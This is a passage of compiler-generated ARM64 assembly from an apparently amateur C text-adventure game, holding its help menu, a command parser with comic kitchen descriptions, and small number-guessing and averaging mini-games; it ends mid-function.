mov x1, 0
beq .L442
bl __stack_chk_fail
.L442:
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE18:
.size monikacase2, .-monikacase2
.section .rodata
.align 3
.LC565:
.string "Do you want to continue green path? (y or n)\n"
.align 3
.LC567:
.string "Fine since you dont want to go the path you can play this boring calculator game\nInsert five numbers you want to add and find the sum of"
.align 3
.LC568:
.string "Things inputted are: "
.align 3
.LC569:
.string " %d\n"
.align 3
.LC570:
.string " + %d \n---------\n"
.align 3
.LC571:
.string "sum : %d\n"
.align 3
.LC572:
.string "Average: %.1lf\n"
.text
.align 2
.global monikacase3
.type monikacase3, %function
monikacase3:
.LFB19:
.cfi_startproc
stp x29, x30, [sp, -368]!
.cfi_def_cfa_offset 368
.cfi_offset 29, -368
.cfi_offset 30, -360
mov x29, sp
.cfi_def_cfa_register 29
stp x20, x21, [sp, 16]
stp x22, x23, [sp, 32]
stp x24, x25, [sp, 48]
stp x26, x27, [sp, 64]
sub sp, sp, #16
.cfi_offset 20, -352
.cfi_offset 21, -344
.cfi_offset 22, -336
.cfi_offset 23, -328
.cfi_offset 24, -320
.cfi_offset 25, -312
.cfi_offset 26, -304
.cfi_offset 27, -296
str x0, [x29, 88]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 360]
mov x1, 0
adrp x0, .LC565
add x0, x0, :lo12:.LC565
bl puts
ldr x1, [x29, 88]
adrp x0, .LC537
add x0, x0, :lo12:.LC537
bl __isoc99_scanf
adrp x0, .LC538
add x1, x0, :lo12:.LC538
ldr x0, [x29, 88]
bl strcmp
cmp w0, 0
bne .L445
adrp x0, .LC566
add x1, x0, :lo12:.LC566
add x0, x29, 160
ldr x2, [x1]
str x2, [x0]
ldr w1, [x1, 8]
str w1, [x0, 8]
add x0, x29, 172
movi v0.4s, 0
stp q0, q0, [x0]
stp q0, q0, [x0, 32]
stp q0, q0, [x0, 64]
stp q0, q0, [x0, 96]
stp q0, q0, [x0, 128]
str q0, [x0, 160]
str q0, [x0, 172]
add x2, x29, 160
adrp x0, .LC62
add x1, x0, :lo12:.LC62
mov x0, x2
bl fopen
str x0, [x29, 152]
ldr x0, [x29, 152]
cmp x0, 0
bne .L446
adrp x0, .LC546
add x0, x0, :lo12:.LC546
bl puts
mov w0, 0
bl exit
.L446:
ldr x0, [x29, 152]
bl fgetc
strb w0, [x29, 111]
.L447:
ldrb w0, [x29, 111]
bl putchar
ldr x0, [x29, 152]
bl fgetc
strb w0, [x29, 111]
b .L447
.L445:
adrp x0, .LC544
add x1, x0, :lo12:.LC544
ldr x0, [x29, 88]
bl strcmp
cmp w0, 0
bne .L459
str wzr, [x29, 112]
mov w0, 5
str w0, [x29, 120]
str wzr, [x29, 116]
ldr w0, [x29, 120]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 136]
sxtw x1, w0
mov x26, x1
mov x27, 0
lsr x1, x26, 59
lsl x23, x27, 5
orr x23, x1, x23
lsl x22, x26, 5
sxtw x1, w0
mov x24, x1
mov x25, 0
lsr x1, x24, 59
lsl x21, x25, 5
orr x21, x1, x21
lsl x20, x24, 5
sxtw x0, w0
lsl x0, x0, 2
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L449:
cmp sp, x1
beq .L450
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L449
.L450:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L451
str xzr, [sp, 1024]
.L451:
add x0, sp, 16
add x0, x0, 3
lsr x0, x0, 2
lsl x0, x0, 2
str x0, [x29, 144]
ldr x0, [x29, 144]
str x0, [x29, 128]
adrp x0, .LC567
add x0, x0, :lo12:.LC567
bl puts
str wzr, [x29, 112]
b .L452
.L453:
ldrsw x0, [x29, 112]
lsl x0, x0, 2
ldr x1, [x29, 144]
add x0, x1, x0
mov x1, x0
adrp x0, .LC272
add x0, x0, :lo12:.LC272
bl __isoc99_scanf
ldr w0, [x29, 112]
add w0, w0, 1
str w0, [x29, 112]
.L452:
ldr w1, [x29, 112]
ldr w0, [x29, 120]
cmp w1, w0
blt .L453
adrp x0, .LC568
add x0, x0, :lo12:.LC568
bl puts
mov w0, 5
str w0, [x29, 120]
str wzr, [x29, 112]
b .L454
.L455:
ldr x0, [x29, 128]
ldr w0, [x0]
mov w1, w0
adrp x0, .LC569
add x0, x0, :lo12:.LC569
bl printf
ldr x0, [x29, 128]
add x0, x0, 4
str x0, [x29, 128]
ldr w0, [x29, 112]
add w0, w0, 1
str w0, [x29, 112]
.L454:
ldr w0, [x29, 120]
sub w0, w0, #1
ldr w1, [x29, 112]
cmp w1, w0
blt .L455
mov w0, 1
str w0, [x29, 120]
ldrsw x0, [x29, 120]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [x29, 128]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC570
add x0, x0, :lo12:.LC570
bl printf
str wzr, [x29, 116]
mov w0, 5
str w0, [x29, 120]
str wzr, [x29, 112]
b .L456
.L457:
ldr x0, [x29, 144]
ldrsw x1, [x29, 112]
ldr w0, [x0, x1, lsl 2]
ldr w1, [x29, 116]
add w0, w1, w0
str w0, [x29, 116]
ldr w0, [x29, 112]
add w0, w0, 1
str w0, [x29, 112]
.L456:
ldr w1, [x29, 112]
ldr w0, [x29, 120]
cmp w1, w0
blt .L457
ldr w1, [x29, 116]
adrp x0, .LC571
add x0, x0, :lo12:.LC571
bl printf
str wzr, [x29, 124]
ldr w0, [x29, 116]
scvtf d1, w0
ldr w0, [x29, 120]
scvtf d0, w0
fdiv d0, d1, d0
fcvtzs w0, d0
str w0, [x29, 124]
ldr w0, [x29, 124]
scvtf d0, w0
adrp x0, .LC572
add x0, x0, :lo12:.LC572
bl printf
mov w0, 1
bl exit
.L459:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [x29, 360]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L458
bl __stack_chk_fail
.L458:
mov sp, x29
ldp x20, x21, [sp, 16]
ldp x22, x23, [sp, 32]
ldp x24, x25, [sp, 48]
ldp x26, x27, [sp, 64]
ldp x29, x30, [sp], 368
.cfi_restore 30
.cfi_restore 29
.cfi_restore 26
.cfi_restore 27
.cfi_restore 24
.cfi_restore 25
.cfi_restore 22
.cfi_restore 23
.cfi_restore 20
.cfi_restore 21
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE19:
.size monikacase3, .-monikacase3
.section .rodata
.align 3
.LC566:
.string "nothing.txt"
.text
.section .rodata
.align 3
.LC573:
.string "randomStrings.txt"
.align 3
.LC574:
.string "File could not be opened."
.text
.align 2
.global randomString
.type randomString, %function
randomString:
.LFB20:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
bl rand
mov w1, 34079
movk w1, 0x51eb, lsl 16
smull x1, w0, w1
lsr x1, x1, 32
asr w2, w1, 5
asr w1, w0, 31
sub w2, w2, w1
mov w1, 100
mul w1, w2, w1
sub w0, w0, w1
str w0, [sp, 36]
str wzr, [sp, 32]
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC573
add x0, x0, :lo12:.LC573
bl fopen
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bne .L463
adrp x0, .LC574
add x0, x0, :lo12:.LC574
bl puts
b .L462
.L466:
ldr w1, [sp, 32]
ldr w0, [sp, 36]
cmp w1, w0
bne .L464
ldr x0, [sp, 40]
bl fclose
ldr x0, [sp, 24]
b .L465
.L464:
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L463:
ldr x2, [sp, 40]
mov w1, 11
ldr x0, [sp, 24]
bl fgets
cmp x0, 0
bne .L466
ldr x0, [sp, 40]
bl fclose
.L462:
ldr x0, [sp, 24]
.L465:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE20:
.size randomString, .-randomString
.section .rodata
.align 3
.LC575:
.string "-----------------------------------------------------------------------------------------"
.align 3
.LC576:
.string "Type 'help' at any time to see the Help menu, which has a list of commands you can use.\n"
.text
.align 2
.global mQhelpPrompt
.type mQhelpPrompt, %function
mQhelpPrompt:
.LFB21:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC575
add x0, x0, :lo12:.LC575
bl puts
adrp x0, .LC576
add x0, x0, :lo12:.LC576
bl puts
adrp x0, .LC575
add x0, x0, :lo12:.LC575
bl puts
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE21:
.size mQhelpPrompt, .-mQhelpPrompt
.section .rodata
.align 3
.LC577:
.string "--------------------------------------------------------------------------------------------------"
.align 3
.LC578:
.string "Usable Commands: inv, go, look, use, and exit\n"
.align 3
.LC579:
.string "Type 'inv' to see your inventory"
.align 3
.LC580:
.string "Type 'go' followed by a location to move towards it"
.align 3
.LC581:
.string "Type 'look' followed by an object OR location to inspect it."
.align 3
.LC582:
.string "Type 'use' to use an object from your inventory, OR obtain it and put it in your inventory."
.align 3
.LC583:
.string "\nType 'exit' to leave the parser."
.align 3
.LC584:
.string "'Any noun in capital letters - like THIS - can be used with commands (example: use KEY, look TABLE"
.text
.align 2
.global mQhelpMenu
.type mQhelpMenu, %function
mQhelpMenu:
.LFB22:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC577
add x0, x0, :lo12:.LC577
bl puts
adrp x0, .LC578
add x0, x0, :lo12:.LC578
bl puts
adrp x0, .LC579
add x0, x0, :lo12:.LC579
bl puts
adrp x0, .LC580
add x0, x0, :lo12:.LC580
bl puts
adrp x0, .LC581
add x0, x0, :lo12:.LC581
bl puts
adrp x0, .LC582
add x0, x0, :lo12:.LC582
bl puts
adrp x0, .LC583
add x0, x0, :lo12:.LC583
bl puts
adrp x0, .LC584
add x0, x0, :lo12:.LC584
bl puts
adrp x0, .LC577
add x0, x0, :lo12:.LC577
bl puts
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE22:
.size mQhelpMenu, .-mQhelpMenu
.section .rodata
.align 3
.LC585:
.string "(Press 0 and Enter to continue)"
.text
.align 2
.global mQcontinue
.type mQcontinue, %function
mQcontinue:
.LFB23:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC585
add x0, x0, :lo12:.LC585
bl printf
adrp x0, :got:stdout
ldr x0, [x0, #:got_lo12:stdout]
ldr x0, [x0]
bl fflush
nop
.L470:
bl getchar
cmp w0, 48
bne .L470
nop
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE23:
.size mQcontinue, .-mQcontinue
.section .rodata
.align 3
.LC586:
.string "\n------> "
.text
.align 2
.global mQuserInput
.type mQuserInput, %function
mQuserInput:
.LFB24:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
mov w0, 32
bl putchar
adrp x0, .LC586
add x0, x0, :lo12:.LC586
bl printf
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x0, [x0]
mov x2, x0
mov w1, 100
adrp x0, uInput
add x0, x0, :lo12:uInput
bl fgets
cmp x0, 0
cset w0, ne
and w0, w0, 255
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE24:
.size mQuserInput, .-mQuserInput
.section .rodata
.align 3
.LC587:
.string " \n"
.align 3
.LC588:
.string "exit"
.align 3
.LC589:
.string "Insert clever start-over text here. Maybe a little 'are you sure you want to quit?' or whatever"
.align 3
.LC590:
.string "help"
.align 3
.LC591:
.string "inv"
.align 3
.LC592:
.string "The user only has 'updog' in their inventory.\n"
.align 3
.LC593:
.string "look"
.align 3
.LC594:
.string "STOVE"
.align 3
.LC595:
.string "stove"
.align 3
.LC596:
.string "\nThe user looks at the stove. The user loves a good stove. This one has electric burners though, so it's not a good stove. The user frowns and wishes they picked another student's door."
.align 3
.LC597:
.string "FRIDGE"
.align 3
.LC598:
.string "fridge"
.align 3
.LC599:
.string "\nThe fridge's stainless steel surface is littered with post it notes. You pick one up and angle your cell phone to read it."
.align 3
.LC600:
.string "\n\n'If one more person eats my leftovers without permission, I will COMMMIT A FELONY. I MEAN IT!!!!!'"
.align 3
.LC601:
.string "\nFrowning, you turn it over to discover there's more written on the back."
.align 3
.LC602:
.string "\n'Actually, you know what? YOU KNOW WHAT?! Eat them. Go on. I dare you. Eat all of it. I hope you choke on a piece and die in agony right here on my KITCHEN FLOOR. YOU SHOULD HAVE NEVER BEEN BORN. - J'"
.align 3
.LC603:
.string "\nYou find yourself wondering who the hell this 'J' is, and what made them upset enough to cover their refridgerator with passive aggressive post-its."
.align 3
.LC604:
.string "FREEZER"
.align 3
.LC605:
.string "freezer"
.align 3
.LC606:
.string "\nThe freezer's stainless steel surface is littered with post it notes. You pick one up and angle your cell phone to read it."
.align 3
.LC607:
.string "\n'Jim, I swear to God, if you move the eggs again to put more post-it notes inside, I will buy the dollar store brand of BBQ sauce from now on. Do not try me, young man. - H'"
.align 3
.LC608:
.string "\nAnother post-it note is attached to the end of this one. It reads: "
.align 3
.LC609:
.string "\n'I DO NOT FEAR DEATH OR DRY CHICKEN NUGGETS! I WILL NOT BE MANIPULATED BY THE SAUCE! \nI have an emergency stash of Sweet Baby Rays for just this occasion, anyway. -J'"
.align 3
.LC610:
.string "\nYou are baffled by just how much writing can fit on a post-it note. Your eyes are starting to hurt from squinting at all the tiny writing.\n"
.align 3
.LC611:
.string "go"
.align 3
.LC612:
.string "\nThe user goes to the stove. Good job. You're at the stove. You did it. Wonderful."
.align 3
.LC613:
.string "\nThe user approaches the fridge. The distance...it's still too much. You must get closer..."
.align 3
.LC614:
.string "\nThe user presses their cheek against the fridge, wrapping their arms around as far as they can reach."
.align 3
.LC615:
.string "\nThe fridge does not hug you back, but you somehow feel a brief reprieve from your loneliness, nonetheless."
.align 3
.LC616:
.string "\nYou approach the freezer."
.align 3
.LC617:
.string "\nYou think of a few cold-related puns, but you quickly banish them from your mind. Puns are the lowest form of comedy, of course, and you'd be a shameless wreck before you'd ever entertain one, even in your head."
.align 3
.LC618:
.string "\nIf thought to yourself just now, 'Now, that's just cold...', you, in fact, did not. You didn't think anything at all. You don't think. Your head is empty. Go shove your stupid head full of puns in the freezer."
.align 3
.LC619:
.string "use"
.align 3
.LC620:
.string "\nThe user uses the stove. The stove says 'get the hell out of my kitchen.' The user does not, in fact, get the hell out of the kitchen."
.align 3
.LC621:
.string "\nYou pull gently on the fridge handle, and are greeted with its soft inner glow and a faint whiff of eggs and...old onions? Ugh."
.align 3
.LC622:
.string "\nYou see a small bowl of LEFTOVERS, a bottle of Sweet Baby Ray's bbq SAUCE, and a can of Natural Light BEER. There are post-it notes on each."
.align 3
.LC623:
.string "\nThe user pulls swiftly against the hermetic seal of the freezer, and is met with a small puff of chilled air."
.align 3
.LC624:
.string "\n...followed closely by a much stronger, more decidedly *pungent* whiff of egg."
.align 3
.LC625:
.string "\nBlinking rapidly to ensure they aren't seeing things, the user realizes the entire fridge is full of decorated frozen easter eggs. A small post-it note on eye-level with the user reads: 'Little Jimmy's Easter Eggs, 1987. DO ***NOT*** THROW AWAY!!!'"
.align 3
.LC626:
.string "\nHorrified, the user sincerely wishes they had found a dead body instead."
.align 3
.LC627:
.string "\nThere is an additional NOTE wedged in between the freezer wall and the awful, awful Egg Pile."
.align 3
.LC628:
.string "updog"
.align 3
.LC629:
.string "\nNothin, what's up with you, man?\n"
.align 3
.LC630:
.string " ( \315\241\302\260 \315\234\312\226 \315\241\302\260) "
.align 3
.LC631:
.string "..."
.align 3
.LC632:
.string "\nThis joke would have been better if I had figured out how to open a webpage to www.updog.com like I had originally planned."
.align 3
.LC633:
.string "\nI have no idea how to %s, but knock yourself out."
.text
.align 2
.global mQparser
.type mQparser, %function
mQparser:
.LFB25:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, .LC587
add x1, x0, :lo12:.LC587
adrp x0, uInput
add x0, x0, :lo12:uInput
bl strtok
str x0, [sp, 16]
adrp x0, .LC587
add x1, x0, :lo12:.LC587
mov x0, 0
bl strtok
str x0, [sp, 24]
ldr x0, [sp, 16]
cmp x0, 0
beq .L474
adrp x0, .LC588
add x1, x0, :lo12:.LC588
ldr x0, [sp, 16]
bl strcmp
cmp w0, 0
bne .L475
adrp x0, .LC589
add x0, x0, :lo12:.LC589
bl puts
mov w0, 0
b .L476
.L475:
adrp x0, .LC590
add x1, x0, :lo12:.LC590
ldr x0, [sp, 16]
bl strcmp
cmp w0, 0
bne .L477
bl mQhelpMenu
b .L474
.L477:
adrp x0, .LC591
add x1, x0, :lo12:.LC591
ldr x0, [sp, 16]
bl strcmp
cmp w0, 0
bne .L478
adrp x0, .LC592
add x0, x0, :lo12:.LC592
bl puts
b .L474
.L478:
adrp x0, .LC593
add x1, x0, :lo12:.LC593
ldr x0, [sp, 16]
bl strcmp
cmp w0, 0
bne .L479
adrp x0, .LC594
add x1, x0, :lo12:.LC594
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
beq .L480
adrp x0, .LC595
add x1, x0, :lo12:.LC595
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L481
.L480:
adrp x0, .LC596
add x0, x0, :lo12:.LC596
bl puts
b .L474
.L481:
adrp x0, .LC597
add x1, x0, :lo12:.LC597
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
beq .L483
adrp x0, .LC598
add x1, x0, :lo12:.LC598
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L484
.L483:
adrp x0, .LC599
add x0, x0, :lo12:.LC599
bl puts
adrp x0, .LC600
add x0, x0, :lo12:.LC600
bl puts
adrp x0, .LC601
add x0, x0, :lo12:.LC601
bl puts
adrp x0, .LC602
add x0, x0, :lo12:.LC602
bl puts
adrp x0, .LC603
add x0, x0, :lo12:.LC603
bl puts
b .L474
.L484:
adrp x0, .LC604
add x1, x0, :lo12:.LC604
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
beq .L485
adrp x0, .LC605
add x1, x0, :lo12:.LC605
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L474
.L485:
adrp x0, .LC606
add x0, x0, :lo12:.LC606
bl puts
adrp x0, .LC607
add x0, x0, :lo12:.LC607
bl puts
adrp x0, .LC608
add x0, x0, :lo12:.LC608
bl puts
adrp x0, .LC609
add x0, x0, :lo12:.LC609
bl puts
adrp x0, .LC610
add x0, x0, :lo12:.LC610
bl puts
b .L474
.L479:
adrp x0, .LC611
add x1, x0, :lo12:.LC611
ldr x0, [sp, 16]
bl strcmp
cmp w0, 0
bne .L486
adrp x0, .LC594
add x1, x0, :lo12:.LC594
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
beq .L487
adrp x0, .LC595
add x1, x0, :lo12:.LC595
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L488
.L487:
adrp x0, .LC612
add x0, x0, :lo12:.LC612
bl puts
b .L474
.L488:
adrp x0, .LC597
add x1, x0, :lo12:.LC597
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
beq .L490
adrp x0, .LC598
add x1, x0, :lo12:.LC598
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L491
.L490:
adrp x0, .LC613
add x0, x0, :lo12:.LC613
bl puts
adrp x0, .LC614
add x0, x0, :lo12:.LC614
bl puts
adrp x0, .LC615
add x0, x0, :lo12:.LC615
bl puts
b .L474
.L491:
adrp x0, .LC604
add x1, x0, :lo12:.LC604
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
beq .L492
adrp x0, .LC605
add x1, x0, :lo12:.LC605
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L474
.L492:
adrp x0, .LC616
add x0, x0, :lo12:.LC616
bl puts
adrp x0, .LC617
add x0, x0, :lo12:.LC617
bl puts
adrp x0, .LC618
add x0, x0, :lo12:.LC618
bl puts
b .L474
.L486:
adrp x0, .LC619
add x1, x0, :lo12:.LC619
ldr x0, [sp, 16]
bl strcmp
cmp w0, 0
bne .L493
adrp x0, .LC594
add x1, x0, :lo12:.LC594
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
beq .L494
adrp x0, .LC595
add x1, x0, :lo12:.LC595
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L495
.L494:
adrp x0, .LC620
add x0, x0, :lo12:.LC620
bl puts
b .L474
.L495:
adrp x0, .LC597
add x1, x0, :lo12:.LC597
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
beq .L497
adrp x0, .LC598
add x1, x0, :lo12:.LC598
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L498
.L497:
adrp x0, .LC621
add x0, x0, :lo12:.LC621
bl puts
adrp x0, .LC622
add x0, x0, :lo12:.LC622
bl puts
b .L474
.L498:
adrp x0, .LC604
add x1, x0, :lo12:.LC604
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
beq .L499
adrp x0, .LC605
add x1, x0, :lo12:.LC605
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L500
.L499:
adrp x0, .LC623
add x0, x0, :lo12:.LC623
bl puts
adrp x0, .LC624
add x0, x0, :lo12:.LC624
bl puts
adrp x0, .LC625
add x0, x0, :lo12:.LC625
bl puts
adrp x0, .LC626
add x0, x0, :lo12:.LC626
bl puts
adrp x0, .LC627
add x0, x0, :lo12:.LC627
bl puts
b .L474
.L500:
adrp x0, .LC628
add x1, x0, :lo12:.LC628
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
bne .L474
adrp x0, .LC629
add x0, x0, :lo12:.LC629
bl puts
adrp x0, .LC630
add x0, x0, :lo12:.LC630
bl puts
adrp x0, .LC631
add x0, x0, :lo12:.LC631
bl puts
adrp x0, .LC632
add x0, x0, :lo12:.LC632
bl puts
b .L474
.L493:
ldr x1, [sp, 16]
adrp x0, .LC633
add x0, x0, :lo12:.LC633
bl printf
.L474:
mov w0, 1
.L476:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE25:
.size mQparser, .-mQparser
.section .rodata
.align 3
.LC634:
.string "Message: "
.align 3
.LC635:
.string "%d "
.text
.align 2
.global printMessage
.type printMessage, %function
printMessage:
.LFB26:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 44]
adrp x0, .LC634
add x0, x0, :lo12:.LC634
bl printf
b .L502
.L503:
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC635
add x0, x0, :lo12:.LC635
bl printf
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L502:
ldr w0, [sp, 44]
cmp w0, 9
ble .L503
mov w0, 10
bl putchar
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE26:
.size printMessage, .-printMessage
.section .rodata
.align 3
.LC636:
.string "Decode the message: "
.align 3
.LC637:
.string "Enter lowercase guess for %d: "
.align 3
.LC638:
.string "Try again. Enter lowercase guess for %d: "
.text
.align 2
.global decodeMessage
.type decodeMessage, %function
decodeMessage:
.LFB27:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
str x3, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
adrp x0, .LC636
add x0, x0, :lo12:.LC636
bl puts
str wzr, [sp, 64]
b .L505
.L509:
ldrsw x0, [sp, 64]
lsl x0, x0, 2
ldr x1, [sp, 32]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC637
add x0, x0, :lo12:.LC637
bl printf
add x0, sp, 62
mov x1, x0
adrp x0, .LC161
add x0, x0, :lo12:.LC161
bl __isoc99_scanf
ldrsw x0, [sp, 64]
lsl x0, x0, 2
ldr x1, [sp, 32]
add x0, x1, x0
ldr w0, [x0]
sub w0, w0, #1
str w0, [sp, 68]
ldrsw x0, [sp, 68]
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
strb w0, [sp, 63]
ldrb w0, [sp, 62]
ldrb w1, [sp, 63]
cmp w1, w0
bne .L507
ldr x0, [sp, 24]
ldr w0, [x0]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0]
b .L507
.L508:
ldrsw x0, [sp, 64]
lsl x0, x0, 2
ldr x1, [sp, 32]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC638
add x0, x0, :lo12:.LC638
bl printf
add x0, sp, 62
mov x1, x0
adrp x0, .LC161
add x0, x0, :lo12:.LC161
bl __isoc99_scanf
ldr x0, [sp, 24]
ldr w0, [x0]
add w1, w0, 1
ldr x0, [sp, 24]
str w1, [x0]
ldr x0, [sp, 16]
ldr w0, [x0]
add w1, w0, 1
ldr x0, [sp, 16]
str w1, [x0]
.L507:
ldrb w0, [sp, 62]
ldrb w1, [sp, 63]
cmp w1, w0
bne .L508
ldr w0, [sp, 64]
add w0, w0, 1
str w0, [sp, 64]
.L505:
ldr w0, [sp, 64]
cmp w0, 9
ble .L509
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 72]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L510
bl __stack_chk_fail
.L510:
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE27:
.size decodeMessage, .-decodeMessage
.section .rodata
.align 3
.LC639:
.string "You are free."
.align 3
.LC640:
.string "You decoded the message, but now you must enter 3 test scores: "
.align 3
.LC641:
.string "Enter score: "
.align 3
.LC642:
.string "Your test score average is: %.2lf \n"
.text
.align 2
.global userFate
.type userFate, %function
userFate:
.LFB28:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
str xzr, [sp, 48]
str xzr, [sp, 40]
ldr w0, [sp, 28]
cmp w0, 1
beq .L512
ldr w0, [sp, 28]
cmp w0, 2
beq .L513
b .L514
.L512:
adrp x0, .LC639
add x0, x0, :lo12:.LC639
bl puts
b .L514
.L513:
adrp x0, .LC640
add x0, x0, :lo12:.LC640
bl puts
nop
.L514:
ldr w0, [sp, 28]
cmp w0, 2
bne .L519
str wzr, [sp, 36]
b .L516
.L517:
adrp x0, .LC641
add x0, x0, :lo12:.LC641
bl printf
add x0, sp, 32
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 32]
scvtf d0, w0
ldr d1, [sp, 40]
fadd d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L516:
ldr w0, [sp, 36]
cmp w0, 2
ble .L517
fmov d0, 3.0e+0
ldr d1, [sp, 40]
fdiv d0, d1, d0
str d0, [sp, 48]
ldr d0, [sp, 48]
adrp x0, .LC642
add x0, x0, :lo12:.LC642
bl printf
.L519:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 56]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L518
bl __stack_chk_fail
.L518:
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE28:
.size userFate, .-userFate
.section .rodata
.align 3
.LC643:
.string "You rolled: "
.align 3
.LC644:
.string "they rolled: "
.align 3
.LC645:
.string "%d "
.text
.align 2
.global printRollResults
.type printRollResults, %function
printRollResults:
.LFB29:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
ldr w0, [sp, 16]
cmp w0, 0
beq .L521
adrp x0, .LC643
add x0, x0, :lo12:.LC643
bl printf
b .L522
.L521:
